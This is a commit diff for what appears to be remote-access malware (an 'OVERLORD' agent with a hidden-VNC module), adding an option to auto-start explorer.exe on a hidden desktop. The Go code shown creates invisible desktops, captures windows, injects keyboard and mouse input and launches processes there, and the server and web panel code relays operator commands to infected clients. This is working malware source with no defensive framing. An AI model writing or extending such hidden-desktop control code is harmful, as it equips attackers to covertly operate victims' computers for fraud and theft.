add auto start explorer
This commit is contained in:
@@ -16,35 +16,36 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
procCreateDesktopW = user32.NewProc("CreateDesktopW")
|
||||
procOpenDesktopW = user32.NewProc("OpenDesktopW")
|
||||
procCloseDesktop = user32.NewProc("CloseDesktop")
|
||||
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
|
||||
procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
|
||||
procSwitchDesktop = user32.NewProc("SwitchDesktop")
|
||||
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
||||
procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
|
||||
procGetWindowRect = user32.NewProc("GetWindowRect")
|
||||
procIsWindowVisible = user32.NewProc("IsWindowVisible")
|
||||
procPrintWindow = user32.NewProc("PrintWindow")
|
||||
procGetWindow = user32.NewProc("GetWindow")
|
||||
procGetTopWindow = user32.NewProc("GetTopWindow")
|
||||
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
||||
procSendInputHVNC = user32.NewProc("SendInput")
|
||||
procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
|
||||
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
||||
procScreenToClient = user32.NewProc("ScreenToClient")
|
||||
procPostMessageW = user32.NewProc("PostMessageW")
|
||||
procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
|
||||
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||
procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
|
||||
procSetActiveWindow = user32.NewProc("SetActiveWindow")
|
||||
procSetFocus = user32.NewProc("SetFocus")
|
||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||
procGetAncestor = user32.NewProc("GetAncestor")
|
||||
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
|
||||
procToUnicode = user32.NewProc("ToUnicode")
|
||||
procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
|
||||
procCreateDesktopW = user32.NewProc("CreateDesktopW")
|
||||
procOpenDesktopW = user32.NewProc("OpenDesktopW")
|
||||
procCloseDesktop = user32.NewProc("CloseDesktop")
|
||||
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
|
||||
procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
|
||||
procSwitchDesktop = user32.NewProc("SwitchDesktop")
|
||||
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
||||
procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
|
||||
procGetWindowRect = user32.NewProc("GetWindowRect")
|
||||
procIsWindowVisible = user32.NewProc("IsWindowVisible")
|
||||
procPrintWindow = user32.NewProc("PrintWindow")
|
||||
procGetWindow = user32.NewProc("GetWindow")
|
||||
procGetTopWindow = user32.NewProc("GetTopWindow")
|
||||
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
||||
procSendInputHVNC = user32.NewProc("SendInput")
|
||||
procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
|
||||
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
||||
procScreenToClient = user32.NewProc("ScreenToClient")
|
||||
procPostMessageW = user32.NewProc("PostMessageW")
|
||||
procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
|
||||
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||
procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
|
||||
procSetActiveWindow = user32.NewProc("SetActiveWindow")
|
||||
procSetFocus = user32.NewProc("SetFocus")
|
||||
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
||||
procGetAncestor = user32.NewProc("GetAncestor")
|
||||
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
|
||||
procToUnicode = user32.NewProc("ToUnicode")
|
||||
procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
|
||||
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -164,6 +165,7 @@ var (
|
||||
hvncWindowToMove uintptr
|
||||
hvncMouseButtons uint32
|
||||
hvncPendingActivate uintptr
|
||||
hvncExplorerStarted bool
|
||||
hvncTaskSeq atomic.Uint64
|
||||
hvncCurrentTaskID atomic.Uint64
|
||||
hvncCurrentTaskKind atomic.Int64
|
||||
@@ -186,6 +188,7 @@ const (
|
||||
hvncTaskKeyDown
|
||||
hvncTaskKeyUp
|
||||
hvncTaskMouseWheel
|
||||
hvncTaskAutoStartExplorer
|
||||
)
|
||||
|
||||
type hvncTask struct {
|
||||
@@ -361,6 +364,7 @@ func CleanupHVNCDesktop() {
|
||||
hvncDesktopHandle = 0
|
||||
}
|
||||
hvncInitialized = false
|
||||
hvncExplorerStarted = false
|
||||
if hvncThreadTasks != nil {
|
||||
close(hvncThreadTasks)
|
||||
hvncThreadTasks = nil
|
||||
@@ -450,6 +454,8 @@ func ensureHVNCThread() error {
|
||||
result.err = hvncKeyOnThread(task.vk, false)
|
||||
case hvncTaskMouseWheel:
|
||||
result.err = hvncMouseWheelOnThread(task.delta)
|
||||
case hvncTaskAutoStartExplorer:
|
||||
result.err = hvncAutoStartExplorerOnThread()
|
||||
default:
|
||||
result.img, result.err = hvncCaptureDisplayOnThread(task.display)
|
||||
}
|
||||
@@ -503,6 +509,19 @@ func StartHVNCProcess(filePath string) error {
|
||||
return result.err
|
||||
}
|
||||
|
||||
func HVNCAutoStartExplorer() error {
|
||||
if hvncExplorerStarted {
|
||||
return nil
|
||||
}
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
kind: hvncTaskAutoStartExplorer,
|
||||
}, 15*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return result.err
|
||||
}
|
||||
|
||||
func HVNCInputMouseMove(display int, x, y int32) error {
|
||||
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second)
|
||||
if err != nil {
|
||||
@@ -606,7 +625,7 @@ func hvncThreadWatchdog() {
|
||||
|
||||
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
|
||||
switch kind {
|
||||
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected:
|
||||
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
@@ -633,6 +652,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
|
||||
return "key_up"
|
||||
case hvncTaskMouseWheel:
|
||||
return "mouse_wheel"
|
||||
case hvncTaskAutoStartExplorer:
|
||||
return "auto_start_explorer"
|
||||
default:
|
||||
return fmt.Sprintf("unknown(%d)", kind)
|
||||
}
|
||||
@@ -791,6 +812,60 @@ func startHVNCProcessOnThread(filePath string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func hvncAutoStartExplorerOnThread() error {
|
||||
if hvncExplorerStarted {
|
||||
return nil
|
||||
}
|
||||
|
||||
found := false
|
||||
hwnd := getTopWindow(0)
|
||||
for hwnd != 0 {
|
||||
var pid uint32
|
||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||
if pid != 0 && isExplorerPID(pid) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
||||
}
|
||||
|
||||
if found {
|
||||
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
|
||||
hvncExplorerStarted = true
|
||||
return nil
|
||||
}
|
||||
|
||||
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
|
||||
err := startHVNCProcessOnThread("explorer.exe")
|
||||
if err != nil {
|
||||
return fmt.Errorf("auto-start explorer failed: %w", err)
|
||||
}
|
||||
hvncExplorerStarted = true
|
||||
return nil
|
||||
}
|
||||
|
||||
func isExplorerPID(pid uint32) bool {
|
||||
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||
hProc, _, _ := kernel32.NewProc("OpenProcess").Call(
|
||||
PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid),
|
||||
)
|
||||
if hProc == 0 {
|
||||
return false
|
||||
}
|
||||
defer procCloseHandle.Call(hProc)
|
||||
|
||||
var buf [260]uint16
|
||||
size := uint32(len(buf))
|
||||
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
|
||||
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return false
|
||||
}
|
||||
name := strings.ToLower(syscall.UTF16ToString(buf[:size]))
|
||||
return strings.HasSuffix(name, `\explorer.exe`)
|
||||
}
|
||||
|
||||
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
||||
bounds, _ := hvncResolveCaptureBounds(display)
|
||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||
|
||||
@@ -785,6 +785,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
|
||||
// ==================== HVNC COMMANDS ====================
|
||||
case "hvnc_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
autoStartExplorer := false
|
||||
if payload != nil {
|
||||
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
||||
autoStartExplorer = v
|
||||
}
|
||||
}
|
||||
env.HVNCMu.Lock()
|
||||
if env.HVNCCancel != nil {
|
||||
env.HVNCCancel()
|
||||
@@ -795,8 +802,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
done := make(chan struct{})
|
||||
env.HVNCDone = done
|
||||
goSafe("hvnc stream", env.Cancel, func() {
|
||||
log.Printf("hvnc: start requested")
|
||||
_ = HVNCStart(hvncCtx, env)
|
||||
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
|
||||
close(done)
|
||||
})
|
||||
env.HVNCMu.Unlock()
|
||||
|
||||
@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
|
||||
return hvncPersistedDisplayValue
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
return err
|
||||
}
|
||||
|
||||
if autoStartExplorer {
|
||||
go func() {
|
||||
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
||||
log.Printf("hvnc: auto-start explorer error: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
|
||||
@@ -25,6 +25,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
const mouseCtrl = document.getElementById("mouseCtrl");
|
||||
const kbdCtrl = document.getElementById("kbdCtrl");
|
||||
const cursorCtrl = document.getElementById("cursorCtrl");
|
||||
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
|
||||
const qualitySlider = document.getElementById("qualitySlider");
|
||||
const qualityValue = document.getElementById("qualityValue");
|
||||
const codecH264 = document.getElementById("codecH264");
|
||||
@@ -199,7 +200,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
display: parseInt(displaySelect.value, 10) || 0,
|
||||
});
|
||||
}
|
||||
sendCmd("hvnc_start", {});
|
||||
sendCmd("hvnc_start", {
|
||||
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
|
||||
});
|
||||
} else {
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
@@ -426,7 +429,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
desiredStreaming = true;
|
||||
lastFrameAt = 0;
|
||||
setStreamState("starting", "Starting stream");
|
||||
sendCmd("hvnc_start", {});
|
||||
sendCmd("hvnc_start", {
|
||||
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
|
||||
});
|
||||
});
|
||||
stopBtn.addEventListener("click", function () {
|
||||
desiredStreaming = false;
|
||||
|
||||
@@ -127,6 +127,9 @@
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Auto-start explorer.exe on the hidden desktop when streaming begins"
|
||||
><input type="checkbox" id="autoExplorerCtrl" checked /> Auto Explorer</label
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
switch (payload.type) {
|
||||
case "hvnc_start":
|
||||
if (!state.isStreaming) {
|
||||
sendHVNCCommand(target, "hvnc_start", {});
|
||||
sendHVNCCommand(target, "hvnc_start", {
|
||||
autoStartExplorer: payload.autoStartExplorer !== false,
|
||||
});
|
||||
state.isStreaming = true;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] started streaming for client ${clientId}`);
|
||||
|
||||
Reference in New Issue
Block a user